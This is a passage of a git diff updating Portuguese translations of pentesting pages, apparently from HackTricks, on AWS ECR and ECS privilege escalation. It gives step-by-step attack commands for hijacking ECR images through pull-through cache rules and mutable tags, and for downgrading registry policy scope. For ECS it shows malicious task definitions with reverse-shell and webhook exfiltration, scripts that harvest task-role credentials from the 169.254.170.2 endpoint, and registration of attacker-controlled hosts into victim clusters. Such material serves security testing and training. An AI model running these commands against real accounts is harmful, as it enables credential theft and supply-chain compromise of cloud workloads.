cargas de trabalho que puxam do ECR privado recebam de forma transparente imagens do atacante sem qualquer push para o ECR privado. +Abuse as regras ECR Pull Through Cache (PTC) para mapear um namespace upstream controlado pelo atacante para um prefixo privado confiável do ECR. Isso faz com que cargas de trabalho que puxam do ECR privado recebam transparentemente imagens do atacante sem necessidade de push para o ECR privado. -- Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo. +- Permissões necessárias: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Se usar upstream ECR Public: ecr-public:* para criar/fazer push no repositório público. - Upstream testado: public.ecr.aws -Steps (example): +Passos (exemplo): -1. Prepare attacker image in ECR Public +1. Prepare a imagem do atacante no ECR Public # Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1 docker login public.ecr.aws/ docker build -t public.ecr.aws//hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws//hacktricks-ptc-demo:ptc-test -2. Create the PTC rule in private ECR to map a trusted prefix to the public registry +2. Crie a regra PTC no ECR privado para mapear um prefixo confiável ao registry público aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws -3. Pull the attacker image via the private ECR path (no push to private ECR was done) +3. Puxe a imagem do atacante via o caminho do ECR privado (nenhum push para o ECR privado foi feito) docker login .dkr.ecr.us-east-2.amazonaws.com docker pull .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test docker run --rm .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test -Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content. +Potential Impact: Comprometimento da cadeia de suprimentos ao sequestrar nomes internos de imagens sob o prefixo escolhido. Qualquer workload que puxar imagens do ECR privado usando esse prefixo receberá conteúdo controlado pelo atacante. ### `ecr:PutImageTagMutability` -Abuse esta permissão para alterar um repositório com imutabilidade de tags para mutável e sobrescrever tags confiáveis (e.g., latest, stable, prod) com conteúdo controlado pelo atacante. +Abuse esta permissão para alterar um repositório configurado com imutabilidade de tags para mutável e sobrescrever tags confiáveis (e.g., latest, stable, prod) com conteúdo controlado pelo atacante. -- Permissões necessárias: `ecr:PutImageTagMutability` mais capacidades de push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`). +- Permissões necessárias: `ecr:PutImageTagMutability` além das capacidades de push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`). - Impacto: Comprometimento da cadeia de suprimentos ao substituir silenciosamente tags imutáveis sem alterar os nomes das tags. -Steps (example): +Passos (exemplo):
Envenenar uma tag imutável alternando sua mutabilidade @@ -152,12 +162,12 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
-#### Hijack global do registry via ROOT Pull-Through Cache rule +#### Global registry hijack via ROOT Pull-Through Cache rule -Crie uma Pull-Through Cache (PTC) rule usando o especial `ecrRepositoryPrefix=ROOT` para mapear a raiz do registro privado ECR para um registry público upstream (por exemplo, ECR Public). Qualquer pull para um repositório inexistente no registro privado será servido de forma transparente a partir do upstream, permitindo supply-chain hijacking sem fazer push para o ECR privado. +Crie uma regra Pull-Through Cache (PTC) usando o especial `ecrRepositoryPrefix=ROOT` para mapear a raiz do registry privado do ECR para um registry público upstream (por exemplo, ECR Public). Qualquer pull para um repositório inexistente no registry privado será servido de forma transparente pelo upstream, permitindo supply-chain hijacking sem precisar pushar para o ECR privado. - Permissões necessárias: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`. -- Impacto: Pulls para `.dkr.ecr..amazonaws.com/:` terão sucesso e criarão automaticamente repositórios privados originados do upstream. +- Impacto: Pulls para `.dkr.ecr..amazonaws.com/:` terão sucesso e irão auto-criar repositórios privados originados do upstream. > Nota: Para regras `ROOT`, omita `--upstream-repository-prefix`. Fornecê-lo causará um erro de validação. @@ -191,17 +201,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al ``` -### `ecr:PutAccountSetting` (Downgrade `REGISTRY_POLICY_SCOPE` to bypass registry policy denies) +### `ecr:PutAccountSetting` (Rebaixar `REGISTRY_POLICY_SCOPE` para contornar Deny da política de registro) -Abuse `ecr:PutAccountSetting` para mudar o escopo da registry policy de `V2` (policy aplicada a todas as ações do ECR) para `V1` (policy aplicada apenas a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se uma registry policy Deny restritiva bloquear ações como `CreatePullThroughCacheRule`, rebaixar para `V1` remove essa aplicação, fazendo com que os Allows da identity-policy tenham efeito. +Abuse `ecr:PutAccountSetting` para alterar o escopo da política de registro de `V2` (política aplicada a todas as ações do ECR) para `V1` (política aplicada apenas a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se uma política de registro restritiva com efeito Deny bloquear ações como `CreatePullThroughCacheRule`, rebaixar para `V1` remove essa aplicação para que os Allows da identity‑policy tenham efeito. -- Permissões necessárias: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. -- Impacto: Capacidade de executar ações do ECR anteriormente bloqueadas por uma registry policy Deny (por exemplo, criar regras PTC) ao definir temporariamente o escopo para `V1`. +- Required perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. +- Impact: Ability to perform ECR actions previously blocked by a registry policy Deny (e.g., create PTC rules) by temporarily setting scope to `V1`. Passos (exemplo):
-Contornar registry policy Deny no CreatePullThroughCacheRule alternando para V1 +Contornar Deny da política de registro em CreatePullThroughCacheRule alternando para V1 ```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md index eab7ede6a..fb5d672ff 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md @@ -12,7 +12,7 @@ Mais **informações sobre ECS** em: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -Um atacante que abusa da permissão `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadata e **executá-la**. +Um atacante que abusar da permissão `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadados e **executá-la**. {{#tabs }} {{#tab name="Reverse Shell" }} @@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#tab name="Webhook" }} -Crie um webhook em um site como webhook.site +Crie um webhook usando um serviço como webhook.site ```bash # Create file container-definition.json @@ -75,17 +75,17 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**Impacto Potencial:** Privesc direto para um ECS role diferente. +**Potential Impact:** Privesc direto para um role ECS diferente. ### `iam:PassRole`,`ecs:RunTask` -Um atacante que possui permissões `iam:PassRole` e `ecs:RunTask` pode iniciar uma nova task ECS com os valores de **execution role**, **task role** e **command** do container modificados. O comando CLI `ecs run-task` contém a flag `--overrides`, que permite alterar em tempo de execução o `executionRoleArn`, `taskRoleArn` e o `command` do container sem tocar na task definition. +Um atacante que possui as permissões `iam:PassRole` e `ecs:RunTask` pode iniciar uma nova ECS task com os valores de **execution role**, **task role** e **command** do container modificados. O comando CLI `ecs run-task` contém a flag `--overrides` que permite alterar em tempo de execução o `executionRoleArn`, `taskRoleArn` e o `command` do container sem tocar na task definition. -As IAM roles especificadas para `taskRoleArn` e `executionRoleArn` devem confiar/permitir que sejam assumidas por `ecs-tasks.amazonaws.com` em sua trust policy. +Os IAM roles especificados para `taskRoleArn` e `executionRoleArn` devem confiar/permitir que sejam assumidos por `ecs-tasks.amazonaws.com` em sua trust policy. Além disso, o atacante precisa saber: - ECS cluster name - VPC Subnet -- Security group (Se nenhum security group for especificado, o padrão será usado) +- Security group (Se nenhum security group for especificado o default será usado) - Task Definition Name and revision - Name of the Container ```bash @@ -105,9 +105,9 @@ aws ecs run-task \ ] }' ``` -No trecho de código acima o atacante sobrescreve apenas o valor `taskRoleArn`. No entanto, o atacante deve ter a permissão `iam:PassRole` sobre o `taskRoleArn` especificado no comando e o `executionRoleArn` especificado na task definition para que o ataque aconteça. +No trecho de código acima, um atacante sobrescreve apenas o valor `taskRoleArn`. Entretanto, o atacante deve ter a permissão `iam:PassRole` sobre o `taskRoleArn` especificado no comando e sobre o `executionRoleArn` especificado na definição da task para que o ataque ocorra. -Se a IAM role que o atacante pode passar tiver privilégios suficientes para pull da imagem do ECR e iniciar a task do ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) então o atacante pode especificar a mesma IAM role para ambos `executionRoleArn` e `taskRoleArn` no comando `ecs run-task`. +Se a role do IAM que o atacante pode passar tiver privilégios suficientes para puxar a imagem do ECR e iniciar a task do ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), então o atacante pode especificar a mesma role do IAM tanto para `executionRoleArn` quanto para `taskRoleArn` no comando `ecs run-task`. ```sh aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' { @@ -125,8 +125,8 @@ aws ecs run-task --cluster --launch-type FARGATE --network-config ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Assim como no exemplo anterior, um atacante que abusar das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as metadata credentials e **executá-la**.\ -No entanto, neste caso, é necessário que haja uma container instance para executar a task definition maliciosa. +Assim como no exemplo anterior, um atacante que abusa das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova task definition** com um **malicious container** que rouba as metadata credentials e **executá-la**.\ +No entanto, neste caso, é necessário um container instance para executar a task definition maliciosa. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -142,12 +142,12 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**Impacto potencial:** privesc direto para qualquer role do ECS. +**Impacto Potencial:** Privesc direto para qualquer role do ECS. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Assim como no exemplo anterior, um atacante que abuse das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as metadata credentials e **executá-la criando um novo service com pelo menos 1 task em execução.** +Assim como no exemplo anterior, um atacante que abuse das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadata e **executá-la criando um novo service com pelo menos 1 task em execução.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -172,7 +172,7 @@ aws ecs update-service --cluster \ ``` **Impacto Potencial:** Privesc direto para qualquer ECS role. -### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` +### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container com um role arbitrário com algo como: ```bash @@ -182,16 +182,16 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**Impacto Potencial:** Privesc direto para qualquer role do ECS. +**Impacto Potencial:** Direct privesc to any ECS role. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Este cenário é como os anteriores mas **sem** a permissão **`iam:PassRole`**.\ -Ainda assim é interessante porque, se você conseguir executar um container arbitrário, mesmo sem um role, você poderia **executar um container privilegiado para escapar** para o nó e **roubar o EC2 IAM role** e os **outros roles de containers do ECS** rodando no nó.\ -Você poderia até **forçar outras tasks a serem executadas dentro da instância EC2** que você comprometer para roubar suas credenciais (como discutido na [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)). +Este cenário é parecido com os anteriores mas **sem** a permissão **`iam:PassRole`**.\ +Isto ainda é interessante porque, se você puder executar um container arbitrário, mesmo que seja sem um role, você poderia **executar um container privilegiado para escapar** para o node e **roubar o EC2 IAM role** e os **outros roles dos containers ECS** que estão rodando no node.\ +Você poderia até **forçar outras tasks a rodarem dentro da EC2 instance** que você comprometer para roubar suas credenciais (conforme discutido na [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)). > [!WARNING] -> Este ataque só é possível se o **ECS cluster estiver usando instâncias EC2** e não Fargate. +> Este ataque só é possível se o **ECS cluster estiver usando EC2** instances e não Fargate. ```bash printf '[ { @@ -234,10 +234,10 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Um atacante com as permissões **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões de describe porque é necessário executar `aws ecs execute-command`).\ -No entanto, para fazer isso, a container instance precisa estar executando o **ExecuteCommand agent** (que por padrão não está). +Um atacante com os **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um container em execução e exfiltrar o IAM role associado a ele (você precisa das permissões de describe porque são necessárias para executar `aws ecs execute-command`).\ +No entanto, para isso, a instância do container precisa estar executando o **ExecuteCommand agent** (o qual, por padrão, não está). -Portanto, o atacante poderia tentar: +Portanto, o atacante pode tentar: - **Tentar executar um comando** em todos os containers em execução ```bash @@ -257,18 +257,34 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- Se ele tiver **`ecs:RunTask`**, execute uma task com `aws ecs run-task --enable-execute-command [...]` -- Se ele tiver **`ecs:StartTask`**, execute uma task com `aws ecs start-task --enable-execute-command [...]` -- Se ele tiver **`ecs:CreateService`**, crie um service com `aws ecs create-service --enable-execute-command [...]` -- Se ele tiver **`ecs:UpdateService`**, atualize um service com `aws ecs update-service --enable-execute-command [...]` +Uma vez que você tenha um shell dentro do container, normalmente você pode **extrair as task role credentials** do task credentials endpoint e reutilizá-las fora do container: +```sh +# Inside the container: +echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" +curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq -Você pode encontrar **exemplos dessas opções** nas **seções anteriores de privesc do ECS**. +# If you want to use them locally, print shell exports: +python3 - <<'PY' +import json, os, urllib.request +u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"] +d = json.load(urllib.request.urlopen(u, timeout=2)) +print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"]) +print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"]) +print("export AWS_SESSION_TOKEN=" + d["Token"]) +PY +``` +- If he has **`ecs:RunTask`**, execute uma task com `aws ecs run-task --enable-execute-command [...]` +- If he has **`ecs:StartTask`**, execute uma task com `aws ecs start-task --enable-execute-command [...]` +- If he has **`ecs:CreateService`**, crie um service com `aws ecs create-service --enable-execute-command [...]` +- If he has **`ecs:UpdateService`**, atualize um service com `aws ecs update-service --enable-execute-command [...]` -**Impacto Potencial:** Privesc para um role diferente associado aos containers. +Você pode encontrar **exemplos dessas opções** nas **seções anteriores de ECS privesc**. + +**Potential Impact:** Privesc para um role diferente anexado aos containers. ### `ssm:StartSession` -Veja na **ssm privesc page** como você pode abusar dessa permissão para **privesc para ECS**: +Consulte a **ssm privesc page** sobre como abusar dessa permissão para **privesc para ECS**: {{#ref}} ../aws-ssm-privesc/README.md @@ -276,7 +292,7 @@ Veja na **ssm privesc page** como você pode abusar dessa permissão para **priv ### `iam:PassRole`, `ec2:RunInstances` -Veja na **ec2 privesc page** como você pode abusar dessas permissões para **privesc para ECS**: +Consulte a **ec2 privesc page** sobre como abusar dessas permissões para **privesc para ECS**: {{#ref}} ../aws-ec2-privesc/README.md @@ -284,16 +300,51 @@ Veja na **ec2 privesc page** como você pode abusar dessas permissões para **pr ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` -Um atacante com essas permissões poderia potencialmente registrar uma instância EC2 em um cluster ECS e executar tasks nela. Isso poderia permitir que o atacante execute código arbitrário no contexto das tasks do ECS. +Um atacante com essas permissões pode frequentemente **transformar "cluster membership" em um bypass da fronteira de segurança**: + +- Registre uma **instância EC2 controlada pelo atacante** em um cluster ECS da vítima (tornando-se uma container instance) +- Configure atributos personalizados da **container instance** para satisfazer as **placement constraints** +- Permita que o ECS agende tasks nesse host +- Roube as **task role credentials** (e quaisquer secrets/data dentro do container) da task rodando no seu host + +High-level workflow: + +1) Obtenha um EC2 instance identity document + signature de uma EC2 instance que você controla na conta alvo (por exemplo via SSM/SSH): +```bash +curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json +curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig +``` +2) Registre-o no cluster de destino, opcionalmente definindo atributos para satisfazer restrições de posicionamento: +```bash +aws ecs register-container-instance \ +--cluster "$CLUSTER" \ +--instance-identity-document file://iidoc.json \ +--instance-identity-document-signature "$(cat iisig)" \ +--attributes name=labtarget,value=hijack +``` +3) Confirme que ingressou: +```bash +aws ecs list-container-instances --cluster "$CLUSTER" +``` +4) Inicie uma task / atualize um service para que algo seja agendado na instance, então colete task role creds de dentro da task: +```bash +# On the container host: +docker ps +docker exec -it sh +curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" +``` +Notas: + +- Registrar uma instância de container usando o documento/assinatura de identidade da instância implica que você tem acesso a uma instância EC2 na conta alvo (ou a comprometeu). Para cross-account "bring your own EC2", veja a técnica **ECS Anywhere** nesta página. +- Restrições de placement comumente dependem de atributos da instância de container. Enumere-os via `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, e `ecs:DescribeContainerInstances` para saber quais atributos você precisa definir. -- TODO: É possível registrar uma instância de uma conta AWS diferente para que as tasks sejam executadas em máquinas controladas pelo atacante?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] > TODO: Testar isto -Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` e `ecs:DescribeTaskSets` pode **criar um task set malicioso para um serviço ECS existente e atualizar o primary task set**. Isso permite que o atacante **execute código arbitrário dentro do serviço**. +Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` pode **criar um task set malicioso para um serviço ECS existente e atualizar o primary task set**. Isso permite ao atacante **executar código arbitrário dentro do serviço**. ```bash # Register a task definition with a reverse shell echo '{ @@ -319,7 +370,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Impacto Potencial**: Executar código arbitrário no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensíveis. +**Impacto Potencial**: Execute arbitrary code no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensíveis. ## Referências @@ -333,49 +384,49 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi ### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) -Um atacante com permissões para gerenciar ECS capacity providers e atualizar serviços pode criar um EC2 Auto Scaling Group que ele controla, envolvê-lo em um ECS Capacity Provider, associá-lo ao cluster alvo e migrar um serviço da vítima para usar esse provider. As tasks serão então agendadas em instâncias EC2 controladas pelo atacante, permitindo acesso a nível de SO para inspecionar containers e roubar credenciais de task role. +Um atacante com permissões para gerenciar ECS capacity providers e atualizar services pode criar um EC2 Auto Scaling Group sob seu controle, envolvê-lo em um ECS Capacity Provider, associá-lo ao cluster alvo e migrar um serviço vítima para usar esse provider. As tasks serão então agendadas em instâncias EC2 controladas pelo atacante, permitindo acesso OS-level para inspecionar containers e roubar credenciais do task role. Commands (us-east-1): -- Pré-requisitos +- Prereqs -- Criar Launch Template para o ECS agent entrar no cluster alvo +- Create Launch Template for ECS agent to join target cluster -- Criar Auto Scaling Group +- Create Auto Scaling Group -- Criar Capacity Provider a partir do ASG +- Create Capacity Provider from the ASG -- Associar o Capacity Provider ao cluster (opcionalmente como padrão) +- Associate the Capacity Provider to the cluster (optionally as default) -- Migrar um serviço para o seu provider +- Migrate a service to your provider -- Verificar se as tasks são executadas nas instâncias do atacante +- Verify tasks land on attacker instances -- Opcional: a partir do nó EC2, docker exec nos containers alvo e ler http://169.254.170.2 para obter as credenciais do task role. +- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials. -- Limpeza +- Cleanup -**Impacto Potencial:** Nós EC2 controlados pelo atacante recebem as tasks da vítima, habilitando acesso a nível de SO aos containers e roubo das credenciais do IAM task role. +**Impacto Potencial:** Instâncias EC2 controladas pelo atacante recebem tasks da vítima, permitindo acesso OS-level aos containers e o roubo das credenciais do task IAM role.
-Comandos passo a passo (copiar/colar) +Step-by-step commands (copy/paste) 
 export AWS_DEFAULT_REGION=us-east-1
 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
@@ -410,17 +461,17 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
 
 ### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
 
-Abusar do ECS Anywhere para registrar um host controlado pelo atacante como uma EXTERNAL container instance em um cluster ECS da vítima e executar tasks nesse host usando task e execution roles privilegiadas. Isso concede controle a nível de SO sobre onde as tasks são executadas (sua própria máquina) e permite o roubo de credenciais/dados das tasks e volumes anexados sem mexer em capacity providers ou ASGs.
+Abuse ECS Anywhere para registrar um host controlado pelo atacante como uma EXTERNAL container instance em um cluster ECS da vítima e executar tasks nesse host usando task e execution roles privilegiadas. Isso concede controle OS-level sobre onde as tasks rodam (sua própria máquina) e permite o roubo de credenciais/dados das tasks e dos volumes anexados sem tocar em capacity providers ou ASGs.
 
-- Permissões requeridas (exemplo mínimo):
-- ecs:CreateCluster (opcional), ecs:RegisterTaskDefinition, ecs:StartTask ou ecs:RunTask
+- Permissões necessárias (exemplo mínimo):
+- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
 - ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
-- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (para a ECS Anywhere instance role e task/execution roles)
-- logs:CreateLogGroup/Stream, logs:PutLogEvents (se estiver usando awslogs)
+- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
+- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
 
-- Impacto: Executar containers arbitrários com um taskRoleArn escolhido no host do atacante; exfiltrar credenciais do task-role de 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; acessar quaisquer volumes montados pelas tasks; mais furtivo do que manipular capacity providers/ASGs.
+- Impacto: Executar containers arbitrários com o taskRoleArn escolhido no host do atacante; exfiltrar credenciais do task-role de 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; acessar quaisquer volumes montados pelas tasks; mais discreto do que manipular capacity providers/ASGs.
 
-Passos
+Steps
 
 1) Criar/identificar cluster (us-east-1)
 ```bash
@@ -435,7 +486,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
 ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
 ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
 ```
-3) Provisionar attacker host e registá-lo automaticamente como EXTERNAL (exemplo: small AL2 EC2 como “on‑prem”)
+3) Provisionar attacker host e registrá-lo automaticamente como EXTERNAL (exemplo: small AL2 EC2 como “on‑prem”)
 
 

 user-data.sh
@@ -456,14 +507,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
 --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
 aws ec2 wait instance-status-ok --instance-ids $IID
 ```
-4) Verificar se a EXTERNAL container instance juntou-se
+4) Verificar se a EXTERNAL container instance entrou
 ```bash
 aws ecs list-container-instances --cluster ht-ecs-anywhere
 aws ecs describe-container-instances --cluster ht-ecs-anywhere \
 --container-instances  --query 'containerInstances[0].[ec2InstanceId,attributes]'
 # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
 ```
-5) Criar task/execution roles, registrar a EXTERNAL task definition e executá-la no host atacante
+5) Criar task/execution roles, registrar EXTERNAL task definition e executá-la no attacker host
 ```bash
 # roles
 aws iam create-role --role-name ht-ecs-task-exec \
@@ -499,7 +550,7 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
 aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
 --container-instances $CI
 ```
-6) A partir daqui você controla o host que executa as tasks. Você pode ler task logs (se awslogs) ou executar diretamente no host para exfiltrar credenciais/dados das suas tasks.
+6) A partir daqui você controla o host que executa as tasks. Você pode ler os task logs (se awslogs) ou dar um exec diretamente no host para exfiltrate credenciais/dados das suas tasks.
 
 
 
@@ -510,7 +561,7 @@ aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
 
 ### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
 
-Um atacante com permissões para gerenciar ECS capacity providers e atualizar services pode criar um EC2 Auto Scaling Group que ele controla, envolvê-lo em um ECS Capacity Provider, associá-lo ao cluster alvo e migrar um serviço vítima para usar esse provider. As tasks serão então agendadas em instâncias EC2 controladas pelo atacante, permitindo acesso a nível de SO para inspecionar containers e roubo das task role credentials.
+Um atacante com permissões para gerenciar ECS capacity providers e atualizar services pode criar um EC2 Auto Scaling Group que ele controla, envolvê-lo em um ECS Capacity Provider, associá-lo ao cluster alvo e migrar um serviço vítima para usar esse provider. As tasks serão então agendadas em instâncias EC2 controladas pelo atacante, permitindo acesso em nível de SO para inspecionar containers e roubar as credenciais do task role.
 
 Comandos (us-east-1):
 
@@ -538,15 +589,15 @@ Comandos (us-east-1):
 
 
 
-- Verificar se as tasks são iniciadas nas instâncias do atacante
+- Verificar se as tasks são alocadas em instâncias do atacante
 
 
 
-- Opcional: a partir do nó EC2, docker exec nos containers alvo e leia http://169.254.170.2 para obter as task role credentials.
+- Opcional: a partir do nó EC2, faça docker exec nos containers alvo e leia http://169.254.170.2 para obter as task role credentials.
 
-- Cleanup
+- Limpeza
 
 
 
-**Impacto Potencial:** Instâncias EC2 controladas pelo atacante recebem tasks de vítimas, permitindo acesso a nível de SO aos containers e roubo das task IAM role credentials.
+**Impacto Potencial:** Instâncias EC2 controladas pelo atacante recebem tasks da vítima, permitindo acesso ao nível do SO aos containers e o roubo das credenciais do task IAM role.
 {{#include ../../../../banners/hacktricks-training.md}}